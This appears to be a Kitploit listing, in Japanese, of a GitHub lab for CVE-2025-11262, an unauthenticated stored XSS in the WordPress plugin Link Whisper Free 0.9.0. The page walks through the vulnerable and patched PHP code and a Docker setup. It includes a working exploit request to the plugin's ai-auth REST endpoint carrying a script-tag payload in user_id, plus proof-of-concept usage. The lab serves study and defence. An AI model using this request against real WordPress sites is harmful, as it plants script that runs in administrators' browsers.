Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-11262-Lab | Kitploit
ツール/GitHubGitHub/rootdirective-sec/cve-2025-11262-lab
脆弱性分析ウェブアプリケーション悪用CTFペネトレーションテスト学習と教育ラボと実践
GitHubrootdirective-sec/cve-2025-11262-lab

CVE-2025-11262-Lab

リポジトリを見る
2ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-11262 - Link Whisper Free 無認証の保存型ブラインドXSS

概要

このリポジトリには、WordPressプラグイン Link Whisper Free に影響を及ぼす無認証の保存型クロスサイトスクリプティング問題である CVE-2025-11262 を再現するためのローカルDockerラボが含まれています。

このラボでは、2つのプラグインバージョンを比較します:

サービスプラグインバージョン目的URL
vuln0.9.0脆弱なターゲットhttp://127.0.0.1:8081
patched0.9.1パッチ適用済みの比較ターゲットhttp://127.0.0.1:8082

実証される脆弱性の連鎖は次のとおりです:

root@kitploit:~
無認証のRESTリクエスト
→ 攻撃者が制御する user_id が永続化される
→ 特権を持つWordPressユーザーが Link Whisper AI Subscription ページを開く
→ 保存された値が管理者のJavaScriptコンテキストにレンダリングされる
→ 脆弱なバージョンで alert("CVE-2025-11262-LAB") が実行される

攻撃者は保存型ペイロードを仕込むためにログインしている必要はありません。JavaScriptは、特権を持つWordPressユーザーが影響を受ける管理ページを開いたときに後で実行されます。

このラボは、管理されたローカル調査、ソースレベルの理解、およびポートフォリオデモンストレーションのみを目的として設計されています。

検証済みの事実

これは README にそのまま置き換えられる Root Cause Summary セクションです。vuln_detail.txt のような内部ファイルには言及しないpublic-safeな内容で、現在使用しているラボ/ソースに基づいています。

根本原因の要約

CVE-2025-11262 は、Link Whisper Free 0.9.0 の保存型JavaScriptインジェクションの連鎖によって引き起こされます。

この問題は、単一のエスケープ呼び出しの欠落ではありません。複数の安全でない動作の連鎖です:

root@kitploit:~
無認証のRESTエンドポイント
→ user_id の検証不足
→ wpil_ai_access_user_id への永続的保存
→ 管理者のJavaScriptコンテキストへの安全でないレンダリング
→ 特権ユーザーがAI Subscriptionページを開くと保存型XSSが発生

無認証のRESTエンドポイント

Link Whisper Free は、プラグインのREST名前空間の下にAI認証RESTエンドポイントを登録します:

root@kitploit:~
const REST_SLUG = 'link-whisper';
const AI_AUTH = 'ai-auth';

エンドポイントは POST ルートとして登録されます:

root@kitploit:~
register_rest_route(self::REST_SLUG, self::AI_AUTH, [
    'methods'             => 'POST',
    'callback'            => [
        $this,
        'ai_auth_handler'
    ],
    'permission_callback' => "__return_true",
    'show_in_index'       => false
]);

権限コールバックが __return_true であるため、エンドポイントには認証なしで到達できます。

ラボでは、実際に有効なエンドポイントは次のとおりです:

root@kitploit:~
/wp-json/link-whisper/ai-auth

つまり、無認証の攻撃者は、WordPressセッション、nonce、管理者アカウントを必要とせずにエンドポイントへリクエストを送信できます。

0.9.0 における脆弱な入力処理

Link Whisper Free 0.9.0 では、ハンドラーはRESTリクエストから攻撃者が制御するパラメータを読み取ります:

root@kitploit:~
public function ai_auth_handler( WP_REST_Request $request )
{
    if(!empty($request->get_param('access_token'))){
        $token = $request->get_param('access_token');
        $user_id = $request->get_param('user_id');
        $uid = (int)$request->get_param('uid');
        $uemail = $request->get_param('uemail');

        if(!empty($token) && false !== strpos($token, 'ai-')){
            update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
            update_option('wpil_ai_access_user_id', $user_id);
            update_option('wpil_ai_access_user_email', $uemail);
            update_user_meta($uid, 'wpil_ai_access_user_id', $user_id);
            update_user_meta($uid, 'wpil_ai_access_user_email', $uemail);
            update_option('wpil_ai_access_authorized', true);
        }

        return 'ok';
    }

    return new WP_Error(400, 'Bad request', [ 'status' => 404 ]);
}

脆弱な動作は、弱い検証条件です:

root@kitploit:~
if(!empty($token) && false !== strpos($token, 'ai-')){

これは、指定されたアクセストークンが文字列 ai- を含むかどうかのみをチェックします。

user_id は保存前に厳密な検証が行われません:

root@kitploit:~
update_option('wpil_ai_access_user_id', $user_id);

その結果、攻撃者が制御するJavaScriptがWordPressのオプションテーブルに永続化される可能性があります。

永続的保存

攻撃者が制御する user_id の値はWordPressオプションに保存されます:

root@kitploit:~
wpil_ai_access_user_id

このラボでは、PoCは次のローカルのみのペイロードを送信します:

root@kitploit:~
</script><script>alert("CVE-2025-11262-LAB")</script>

脆弱なサービスでは、ペイロードは wpil_ai_access_user_id の値として保存されます。

攻撃者はペイロードを仕込むためにログインしている必要はありません。ペイロードは無認証のRESTエンドポイントを通じて仕込まれます。

管理者JavaScriptシンク

保存された値は、後でプラグインの設定ロジックを通じて取得されます:

root@kitploit:~
public static function get_linkwhisper_ai_user_id(){
    return get_option('wpil_ai_access_user_id', '');
}

この値は $ai_id に割り当てられ、AI Subscription管理ページにレンダリングされます。

Link Whisper Free 0.9.0 では、この値はJavaScript文字列に直接挿入されます:

root@kitploit:~
body: JSON.stringify({
    ai_id: "<?php echo $ai_id;?>",
    subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? $sub->subscription_id: null;?>"
})

$ai_id はJavaScriptコンテキストに挿入される前にエスケープされないため、保存されたペイロードは意図された文字列から抜け出し、管理ページが開かれたときにJavaScriptを実行できます。

ラボのペイロードでは、脆弱なレンダリング出力は次と同等になります:

root@kitploit:~
body: JSON.stringify({
    ai_id: "</script><script>alert("CVE-2025-11262-LAB")</script>",
    subscription_id: ""
})

ブラウザでは、注入された終了 </script> タグが元のスクリプトブロックを終了させ、注入された <script> ブロックが実行されます。

トリガー条件

ペイロードは無認証の攻撃者によって仕込まれますが、実行には特権を持つWordPressユーザーが影響を受ける管理ページを開く必要があります:

root@kitploit:~
/wp-admin/admin.php?page=link_whisper_ai_subscription

このラボでは、アラートダイアログをトリガーするために、影響を受けるページをWordPress管理者として開きます。

これにより、この問題は、Link Whisper AI Subscription管理ページにアクセスできる認証済みWordPress管理者または特権ユーザーを標的とした、無認証の保存型XSSとなります。

0.9.1 におけるパッチの動作

Link Whisper Free 0.9.1 は、AI認証値を保存する前に、より厳密な検証を追加します。

パッチ適用済みハンドラーは、トークンとユーザーIDが厳密な形式に一致することを要求します:

root@kitploit:~
if(
    !empty($token) &&
    false !== strpos($token, 'ai-') &&
    (bool) preg_match('/\Aai-[0-9a-f]{64}\z/i', $token) &&
    (bool) preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
){
    update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
    update_option('wpil_ai_access_user_id', $user_id);
    update_option('wpil_ai_access_user_email', sanitize_email($uemail));
    update_option('wpil_ai_access_authorized', true);
}

user_id に対して追加された重要な検証は次のとおりです:

root@kitploit:~
preg_match('/\A[0-9a-f]{32}\z/i', $user_id)

これにより、任意のJavaScriptがAIユーザーIDとして保存されるのを防ぎます。

バージョン0.9.1は、JavaScriptコンテキストにレンダリングする前の値もエスケープします:

root@kitploit:~
body: JSON.stringify({
    ai_id: "<?php echo esc_attr($ai_id);?>",
    subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? esc_attr($sub->subscription_id): '';?>"
})

したがって、パッチは2つの時点でこの問題を軽減します:

root@kitploit:~
永続化前の入力検証
JavaScriptレンダリング前の出力エスケープ

ラボで確認された動作

ラボは 0.9.0 と 0.9.1 の違いを確認します。

Link Whisper Free 0.9.0 の場合:

root@kitploit:~
POST /wp-json/link-whisper/ai-auth
→ "ok" を返す
→ wpil_ai_access_user_id にペイロードを保存する
→ AI Subscription管理ページを開くと alert("CVE-2025-11262-LAB") がトリガーされる

Link Whisper Free 0.9.1 の場合:

root@kitploit:~
POST /wp-json/link-whisper/ai-auth
→ 依然として "ok" を返す場合がある
→ ペイロードを保存しない
→ AI Subscription管理ページを開いてもアラートはトリガーされない

HTTPレスポンスだけでは、ターゲットが脆弱かどうかを判断するのに十分ではありません。両方のバージョンが "ok" を返す可能性があるためです。意味のある動作の違いは、ペイロードが永続化され、後で管理者のJavaScriptコンテキストにレンダリングされるかどうかです。

ラボの構成

このラボは、Docker Composeを使用して、2つの分離されたWordPressインスタンスと2つの独立したMySQLデータベースを実行します。

root@kitploit:~
.
├── docker/
│   └── lab-entrypoint.sh
├── docker-compose.yml
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── README.md
└── vuln/
    └── Dockerfile

Dockerエントリポイントは自動的に以下を行います:

  • WordPressとデータベースの起動を待ち、
  • 必要に応じてWordPressをインストールし、
  • Link Whisper Free を有効化し、
  • 再現に必要な管理ページを準備し、
  • ラボのログイン情報を出力します。

両サービス共通のデフォルトのWordPress管理者認証情報:

root@kitploit:~
admin / AdminPassw0rd!

要件

  • Docker Desktop または Docker Engine
  • Docker Compose v2
  • Python 3
  • イメージビルド中のインターネットアクセス(DockerfileがWordPress.orgからプラグインパッケージをダウンロードするため)

クイックスタート

ラボをビルドして起動します:

root@kitploit:~
docker compose down -v
docker compose build --no-cache
docker compose up -d

コンテナを確認します:

root@kitploit:~
docker compose ps

公開されるサービス:

root@kitploit:~
脆弱なターゲット: http://127.0.0.1:8081
パッチ適用済みターゲット: http://127.0.0.1:8082

セットップログを確認することもできます:

root@kitploit:~
docker compose logs vuln patched

セットアップが成功すると、各WordPressインスタンスで Link Whisper が有効になっていることが表示されます。

PoCの使用方法

脆弱なサービスに対してPoCを実行します:

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8081

PoCは、無認証のRESTエンドポイントを通じて、次のローカルのみのペイロードを送信します:

root@kitploit:~
</script><script>alert("CVE-2025-11262-LAB")</script>

スクリプトの実行後、ブラウザで出力された管理者URLを開き、次の情報でログインします:

root@kitploit:~
admin / AdminPassw0rd!

脆弱なサービスでは、ブラウザに次の内容を含むアラートが表示されます:

root@kitploit:~
CVE-2025-11262-LAB

比較のために、パッチ適用済みサービスに対して同じPoCを実行します:

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8082

その後、パッチ適用済みサービスに対して出力された管理者URLを開きます。アラートはトリガーされないはずです。

期待される出力

脆弱なターゲット:

root@kitploit:~
[scope] local Docker lab only
[target] http://127.0.0.1:8081
[endpoint] http://127.0.0.1:8081/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>

[result]
http_status: 200
response_body: '"ok"'

[next step]
Open this URL in a browser and login as the lab administrator:

http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription

パッチ適用済みターゲット:

root@kitploit:~
[scope] local Docker lab only
[target] http://127.0.0.1:8082
[endpoint] http://127.0.0.1:8082/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>

[result]
http_status: 200
response_body: '"ok"'

HTTPレスポンスだけでは、ターゲットが脆弱かどうかを判断するのに十分ではありません。重要な違いは、特権ユーザーが影響を受ける管理ページを開いた後のブラウザの動作です。

スクリーンショットの証拠

CVE-2025-11262 脆弱性アラートのスクリーンショット

スクリーンショットの推奨対象:

root@kitploit:~
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription

スクリーンショットには、次の内容のブラウザアラートが表示されている必要があります:

root@kitploit:~
CVE-2025-11262-LAB

PoCの仕組み

PoCは意図的に最小限に設計されており、ターゲットURLのみが必要です:

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8081

次の場所にPOSTリクエストを送信します:

root@kitploit:~
/wp-json/link-whisper/ai-auth

フォームフィールドは次のとおりです:

root@kitploit:~
access_token = ai-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
user_id      = </script><script>alert("CVE-2025-11262-LAB")</script>
uid          = 1
uemail       = [email protected]

脆弱なサービスでは、保存された値が後でAI Subscriptionページにレンダリングされます。管理者がそのページを開くと、JavaScriptが実行されます。

パッチ適用済みサービスでは、同じペイロードでもアラートは発生しません。

便利な検証コマンド

プラグインバージョンを確認します:

root@kitploit:~
docker compose exec -T vuln wp plugin list --allow-root | grep link-whisper
docker compose exec -T patched wp plugin list --allow-root | grep link-whisper

脆弱なサービスがペイロードを保存したかどうかを確認します:

root@kitploit:~
docker compose exec -T vuln wp option get wpil_ai_access_user_id --allow-root

脆弱な場合の期待値:

root@kitploit:~
</script><script>alert("CVE-2025-11262-LAB")</script>

パッチ適用済みサービスを確認します:

root@kitploit:~
docker compose exec -T patched wp option get wpil_ai_access_user_id --allow-root

パッチ適用済みの場合の期待される動作:

root@kitploit:~
Error: Could not get 'wpil_ai_access_user_id' option. Does it exist?

RESTエンドポイントのアクセスログを確認します:

root@kitploit:~
docker compose logs vuln patched | grep 'wp-json/link-whisper/ai-auth'

緩和策とパッチノート

Link Whisper Free を 0.9.1 以降にアップグレードしてください。

このパッチは、影響を受けるAI認証フローに、より厳密な検証とより安全な出力処理を追加することで、このラボのペイロードが永続化・レンダリングされるのを防ぎます。

本番環境では、以下も検討してください:

  • WordPressプラグインを最新の状態に保つこと、
  • 管理アクセスを制限すること、
  • プラグインのRESTエンドポイントへの予期しないリクエストを監視すること、
  • WordPressオプション内の疑わしいスクリプトのような値を確認すること、
  • 適切な箇所に多層防御のフィルタリングを適用すること。

クリーンアップ

コンテナ、ネットワーク、ボリュームを停止して削除します:

root@kitploit:~
docker compose down -v

必要に応じて、ローカルでビルドしたイメージを削除します:

root@kitploit:~
docker image rm cve-2025-11262-vuln cve-2025-11262-patched 2>/dev/null || true

安全性の境界

このラボは、ローカルでのセキュリティ調査と管理されたデモンストレーションのみを目的としています。

所有していない、またはテストする許可を持っていないシステムに対してPoCを実行しないでください。

このラボでは、実際の認証情報、本番環境のシークレット、外部コールバックを使用しないでください。

PoCは、スクリーンショットの証拠として、意図的に目に見える alert() マーカーを使用します。認証情報の窃取、セッションの窃取、ラボ外での永続化、管理者操作の自動化のためのペイロードは含まれていません。

参考リンク

  • GitHub Advisory Database: CVE-2025-11262 / GHSA-7h4c-hr9j-8q85
    https://github.com/advisories/GHSA-7h4c-hr9j-8q85

  • Wordfence Intelligence: Link Whisper Free 脆弱性データベースのエントリ
    https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/link-whisper

  • WordPress.org プラグインディレクトリ: Link Whisper Free
    https://wordpress.org/plugins/link-whisper/

  • 脆弱なラボで使用されるWordPress.orgプラグインパッケージ
    https://downloads.wordpress.org/plugin/link-whisper.0.9.0.zip

  • パッチ適用済みラボで使用されるWordPress.orgプラグインパッケージ
    https://downloads.wordpress.org/plugin/link-whisper.0.9.1.zip

  • WordPressプラグインソースブラウザ: Link Whisper 0.9.0 Rest.php
    https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Rest.php

  • WordPressプラグインソースブラウザ: Link Whisper 0.9.1 Rest.php
    https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Rest.php

  • WordPressプラグインソースブラウザ: Link Whisper 0.9.0 Settings.php
    https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Settings.php

  • WordPressプラグインソースブラウザ: Link Whisper 0.9.1 Settings.php

ツールをダウンロード
主張証拠このラボでの検証方法
Link Whisper Free 0.9.0 は脆弱です。公開アドバイザリは、Link Whisper Free の 0.9.0 以前のバージョンが影響を受けると特定しています。http://127.0.0.1:8081 に対してPoCを実行し、出力された管理者URLを開きます。
Link Whisper Free 0.9.1 には修正が含まれています。公開アドバイザリとチェンジログのデータは、0.9.1 をパッチ適用済みバージョンとして特定しています。同じPoCを http://127.0.0.1:8082 に対して実行します。アラートは表示されないはずです。
ペイロードの仕込みは無認証です。PoCは、WordPressのCookie、ログイン、nonceなしでPOSTリクエストを送信します。poc/poc.py を確認してください。必要なのは --url のみです。
目に見える影響はWordPress管理エリアで発生します。保存された値は、特権ユーザーが Link Whisper AI Subscription ページを開いたときにレンダリングされます。PoC実行後、管理者としてログインし、出力された管理者URLを開きます。
パッチ適用済みターゲットはHTTPレイヤーで依然として "ok" を返す場合があります。ローカルテストでは、両方のターゲットが "ok" を返すことが確認されました。意味のある違いは、ペイロードが永続化され実行されるかどうかです。8081 と 8082 でのブラウザの動作を比較します。

https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Settings.php